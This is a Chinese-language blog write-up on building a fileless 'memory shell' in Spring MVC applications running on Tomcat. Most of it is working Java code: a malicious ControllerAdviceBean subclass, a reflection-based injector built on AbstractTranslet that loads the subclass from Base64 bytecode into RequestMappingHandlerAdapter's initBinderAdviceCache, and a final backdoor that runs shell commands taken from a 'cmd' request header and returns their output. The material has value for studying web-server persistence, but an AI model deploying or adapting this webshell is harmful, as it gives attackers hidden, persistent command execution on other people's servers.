ControllerAdviceBean Memory Shell

前言

本来在学Java中的回显链的,突然看到@fmyyy师傅发了一篇博客,马上进行研究,不愧是@fmyyy师傅,@fmyyy师傅讲的比较简单,所以自己复现了一遍,本文只是在@fmyyy师傅的基础上的更稍微详细一点的分析。

正文

该内存马是关于org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter类的,有关这个组件可以看https://cloud.tencent.com/developer/article/1525175进行学习

主要是在该类的getDataBinderFactory方法

image-20220920220302629

他这里对controllerAdviceBean调用了resolveBean方法,controllerAdviceBean是遍历initBinderAdviceCache属性后的ControllerAdviceBean类的对象,所以这里我们只需要构造一个ControllerAdviceBean的子类,里面的resolveBean方法里存放我们的恶意代码即可

image-20220920221411387
package com.ch1e.memoryShell;

import org.springframework.beans.factory.BeanFactory;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.method.ControllerAdviceBean;
import java.io.IOException;

public class EvilControllerAdviceBean extends ControllerAdviceBean{

    public EvilControllerAdviceBean(){
        super("123");
    }
    public EvilControllerAdviceBean(Object bean) {
        super(bean);
    }

    public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory) {
        super(beanName, beanFactory);
    }

    public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory, ControllerAdvice controllerAdvice) {
        super(beanName, beanFactory, controllerAdvice);
    }

    @Override
    @InitBinder()
    public Object resolveBean() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        return null;
    }
}

所以我们的常规操作可以用加载字节码来加载我们的恶意类,然后实例化一个恶意类即可。现在的思路就是把我们的恶意类放到需要他自己去执行的地方去,上文说到controllerAdviceBean是遍历initBinderAdviceCache属性后的ControllerAdviceBean类的对象,所以我们首先要找到一个存放RequestMappingHandlerAdapter类的地方,并且要把他的initBinderAdviceCache属性中添加我们的恶意类

image-20220920225248158

除此之外,我们还要给他的方法添加一个@InitBinder注解,不然initBinderAdviceCache初始是没有的

image-20220920225343897

目前的链子就是RequestMappingHandlerAdapter.initBinderAdviceCache,还需要找到哪里存储了RequestMappingHandlerAdapter类。在DispatcherServlet类中有这么一个属性handlerAdapters,存储的是HandlerAdapter类的List

image-20220920230243730

经过调试发现他下标为0的时候存储的东西正是RequestMappingHandlerAdapter对象

image-20220920230345412

所以我们只需要获取DispatcherServlet的handlerAdapters属性的第一个下标的值即可获取到RequestMappingHandlerAdapter,所以现在需要获取到DispatcherServlet,他会存储在StandardWrapper的instance属性中,并且StandardWrapper可以通过Context中的children中通过获取键为dispatcherServlet的值来获取

image-20220921162228567

所以链很明显,获取context然后获取他的children属性,通过get("dispatcherServlet")来获取到StandardWrapper,并且获取他的instance得到DispatcherServlet

所以接下来就是写马了,大致马子如下:

package com.ch1e.memoryShell;

import com.ch1e.Utils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.springframework.web.method.ControllerAdviceBean;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class inject extends AbstractTranslet {

    public inject() throws Exception {
        //获取StandardContext
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

        //从Context中获取children属性
        java.lang.reflect.Field childrenfield = org.apache.catalina.core.ContainerBase.class.getDeclaredField("children");
        childrenfield.setAccessible(true);
        HashMap<String, Container> children = (HashMap<String, Container>) childrenfield.get(standardContext);

        //获取StandardWrapper
        StandardWrapper wrapper = (StandardWrapper) children.get("dispatcherServlet");

        //从StandardWrapper的instance属性中获取DispatcherServlet
        java.lang.reflect.Field field2 = wrapper.getClass().getDeclaredField("instance");
        field2.setAccessible(true);
        Object obj = field2.get(wrapper);

        //获取DispatcherServlet的handlerAdapters
        java.lang.reflect.Field field3 = obj.getClass().getDeclaredField("handlerAdapters");
        field3.setAccessible(true);
        ArrayList obj2 = (ArrayList) field3.get(obj);

        //用加载字节码初始化恶意类
        Class clazz = Class.forName("java.lang.ClassLoader");
        Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        //上面恶意ControllerAdviceBean的字节码
        byte[] code = Base64.getDecoder().decode(Utils.getByte());
        Class targetClass = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "EvilControllerAdviceBean", code, 0, code.length);
        ControllerAdviceBean evilControllerAdviceBean = (ControllerAdviceBean) targetClass.newInstance();

        //获取到requestMappingHandlerAdapter对象
        RequestMappingHandlerAdapter requestMappingHandlerAdapter = (RequestMappingHandlerAdapter)obj2.get(0);


        //把恶意类添加到initBinderAdviceCache当中
        Field field4 = requestMappingHandlerAdapter.getClass().getDeclaredField("initBinderAdviceCache");
        field4.setAccessible(true);
        LinkedHashMap linkedHashMap = (LinkedHashMap) field4.get(requestMappingHandlerAdapter);
        Set<String> testSet = new HashSet<String>();
        linkedHashMap.put(evilControllerAdviceBean,testSet);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
import org.springframework.beans.factory.BeanFactory;
import org.springframework.web.bind.annotation.ControllerAdvice;

import org.springframework.beans.factory.BeanFactory;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.method.ControllerAdviceBean;

import java.io.IOException;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class EvilControllerAdviceBean extends ControllerAdviceBean{

    public EvilControllerAdviceBean(){
        super("123");
    }
    public EvilControllerAdviceBean(Object bean) {
        super(bean);
    }

    public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory) {
        super(beanName, beanFactory);
    }

    public EvilControllerAdviceBean(String beanName, BeanFactory beanFactory, ControllerAdvice controllerAdvice) {
        super(beanName, beanFactory, controllerAdvice);
    }

    @Override
    public Object resolveBean() {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String) getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
            return "ch1e";
        }catch (Exception e){
            e.printStackTrace();
        }
        return "ch1e";
    }
}

image-20220921223004812